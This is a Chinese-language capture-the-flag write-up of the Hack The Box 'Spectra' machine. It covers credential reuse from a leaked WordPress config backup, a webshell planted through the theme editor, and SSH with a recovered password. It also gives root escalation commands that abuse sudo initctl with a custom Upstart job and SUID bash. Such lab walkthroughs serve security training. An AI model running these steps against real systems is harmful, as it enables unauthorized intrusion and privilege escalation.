← 返回列表

[HTB] Spectra Writeup

聚合站 SecWiki技术 作者 一个人的安全笔记 发布 2021年8月9日 10:00 入库 2026-11-18T18:23:09

概述 (Overview)

时间:2021-07-08机器作者:egre55困难程度:easy描述: PHP站,考察信息收集后的漏洞复现能力。最后通过滥用的SUDO配置,进一步进行权限提升操作。Flags:User:,Root:INFORMATION:

Web

PHP

File Misconfiguration

Environment Misconfiguration

CMS Exploit

攻击链 (Kiillchain)

通过查看 Nmap 识别出来的 HTTP 服务,确定了目标域名和部署的脚本类型。随后在目录枚举中站点开发遗留文件config.php.save,通过组合残留文件中的密码,成功登录上了WordPress后台管理页面,通过编辑样式文件成功写入WebShell,得到了 Nginx 身份的 bashshell。通过执行 linpeas 进一步获取目标服务器上的信息,发现一个autologin.conf文件,在该文件中找到了一组新的密码,使用该密码成功横移至katie用户。在该用户下执行sudo -l, 发现可以 root 身份运行initctl,通过编写 job 脚本成功获取 root flag。

TTPs (Tactics, Techniques & Procedures)

nmap

dirsearch

LinPEAS

crackmapexec

枚举(Enumeration)

开局还是简单的通过 nmap 对目标服务器进行扫描,识别开发端口和服务:

PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH8.1(protocol2.0)| ssh-hostkey:|_409652:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA)80/tcp open http nginx1.17.4|_http-server-header: nginx/1.17.4|_http-title: Site doesn't have a title (text/html).3306/tcp open mysql MySQL (unauthorized)|_ssl-cert: ERROR: Script execution failed (use -d to debug)|_ssl-date: ERROR: Script execution failed (use -d to debug)|_sslv2: ERROR: Script execution failed (use -d to debug)|_tls-alpn: ERROR: Script execution failed (use -d to debug)|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)存在 Web 服务,在源代码中发现站点域名, 根据访问路径后缀名获知是PHP站。这行信息组合起来这题的架构大概就是 LNMP 或 WNMP 了。

修改/etc/hosts后,查看testing/index.php路径显示:Error establishing a database connection,查看main/index.php显示 Blog 页面。

在页尾处获悉到站点指纹,使用WordPress部署的。尝试使用wpscan工具对站点进行扫描:wpscan --url http://spectra.htb/main/

Author: administrator

XML-RPC seems to be enabled: http://spectra.htb/main/xmlrpc.php

并没有发现明显的利用点,尝试进行目录枚举:

立足点(Foothold)

扫出一个可疑的wp-config.php.save文件,浏览器查看:

里面存在一组账号密码:

define('DB_NAME','dev');/ MySQL database username */define('DB_USER','devtest');/ MySQL database password /define('DB_PASSWORD','devteam01');/ MySQL hostname /define('DB_HOST','localhost');/ Database Charset to useincreating database tables. */define('DB_CHARSET','utf8');/ The Database Collate type. Don't change this if in doubt. */define( 'DB_COLLATE', '' );使用administrator:devteam01成功登录后台:

在wordpress后台中,是可以通过编辑模板文件来写入Webshell的。

在主题编辑中http://spectra.htb/main/wp-admin/theme-editor.php找404.php文件,编辑该文件写入shell。http://spectra.htb/main/wp-admin/theme-editor.php?file=404.php&theme=twentytwenty

使用在我博客搭的在线工具https://jgeek.cn/shells/, 复制PHP反链Shell的代码,编辑到文件中并保存:

使用 http 访问主题下的404.php成功获得一个会话shell:

横向移动(Lateral Movement)

首先查看下/home目录,存在chronos、katie、nginx、root、user,当前会话是nginx用户,在katie用户目录下发现 user.txt ,暂时没有权限查看。

通过执行$ nginx -t获得 nginx 配置文件路径:

在配置文件中获悉 Web 站点部署在/usr/local/share/nginx/html目录,在配置文件中获取MYSQL数据库连接账号密码:

/ The name of the databaseforWordPress */define('DB_NAME','dev');/ MySQL database username /define('DB_USER','dev');/ MySQL database password /define('DB_PASSWORD','development01');在系统根目录发现有一个developers组创建的/srv文件夹:

在/srv文件夹中发现node.js脚本,内容为启动 http 服务绑定端口为 8081(本地监听):

将 linpeas 传递至服务器,进一步对信息进行收集:

发现一个可疑的autologin.conf文件,查看一下内容cat /etc/init/autologin.conf:

Copyright 2016 The Chromium OS Authors. All rights reserved.# Use of this source code is governed by a BSD-style license that can be# found in the LICENSE file.description"Automatic login at boot"author"chromium-os-dev@chromium.org"# After boot-complete starts, the login prompt is visible and is accepting# input.start on started boot-completescriptpasswd=# Read password from file. The file may optionally end with a newline.fordirin/mnt/stateful_partition/etc/autologin /etc/autologin;doif[ -e"${dir}/passwd"];thenpasswd="$(cat "${dir}/passwd")"breakfidoneif[ -z"${passwd}"];thenexit0fi# Inject keys into the login prompt.## For this to work, you must have already created an account on the device.# Otherwise, no login prompt appears at boot and the injected keys do the# wrong thing./usr/local/sbin/inject-keys.py -s"${passwd}"-k enterend script从脚配置中看到,会在/mnt/stateful_partition/etc/autologin、/etc/autologin目录中读取passwd文件中的密码。

成功在/etc/autologin/passwd中发现新的密码:SummerHereWeCome!!

使用目前收集到的用户名和密码信息,进行ssh登录爆破:

$ sshpass -p 'SummerHereWeCome!!' ssh katie@10.10.10.229

成功登录katie用户拿到 user flag。

权限提升(Privilege Escalation)

在 katie 用户下继续运行 linpeas 进行信息收集,发现sudo -l下有对 initctl 的配置:

initctl - init 守护进程控制工具,允许系统管理员与 Upstart init 守护进程通信和交互。

katie@spectra /tmp $ sudo /sbin/initctl helpJob commands:start Start job.stop Stop job.restart Restart job.reload Send HUP signal to job.status Query status of job.list List known jobs.Event commands:emit Emit an event.Other commands:reload-configuration Reload the configuration of the init daemon.version Request the version of the init daemon.log-priority Change the minimum priority of log messages from the init daemonshow-config Show emits, start on and stop on details for job configurations.help display list of commandsFor more information on a command, try `initctl COMMAND --help'.在/etc/init中可以找到对自启动服务的配置信息,但需要具有developers组的身份才能编辑。

查下组配置,目前我们的用户包含在developers组中。

OK,我们现在只需要写一个配置然后用sudo initctl去启动运行即可。

!/bin/bashecho-e"description \"Test node.js server\"\nauthor "katie"\n \nstart on filesystem or runlevel [2345]\nstop on shutdown\n \nscript\n \n exec cat /root/root.txt > /tmp/root.txt\n \nend script\n"> /etc/init/test.conf这里我直接获取 root flag 即可, 然后重新加载下配置在启动同名的 test 服务。

sudo/sbin/initctl reload-configurationsudo/sbin/initctl listsudo/sbin/initctl start test可以看到,成功获取到了 root flag。

随后将 exec 后面的内容改成bash /tmp/test.sh运行就可以拿到 root shell:

复盘时看到还有一个更加简单的办法,script里面直接给/bin/bash设置SUID权限也就是chmod +s /bin/bash,然后执行/bin/bash -p,瞬间拥有root shell。

参考

https://www.cnblogs.com/solohac/p/4154181.html

原文链接:https://mp.weixin.qq.com/s/nDTJk9m4-gpd-S9j0i1w1A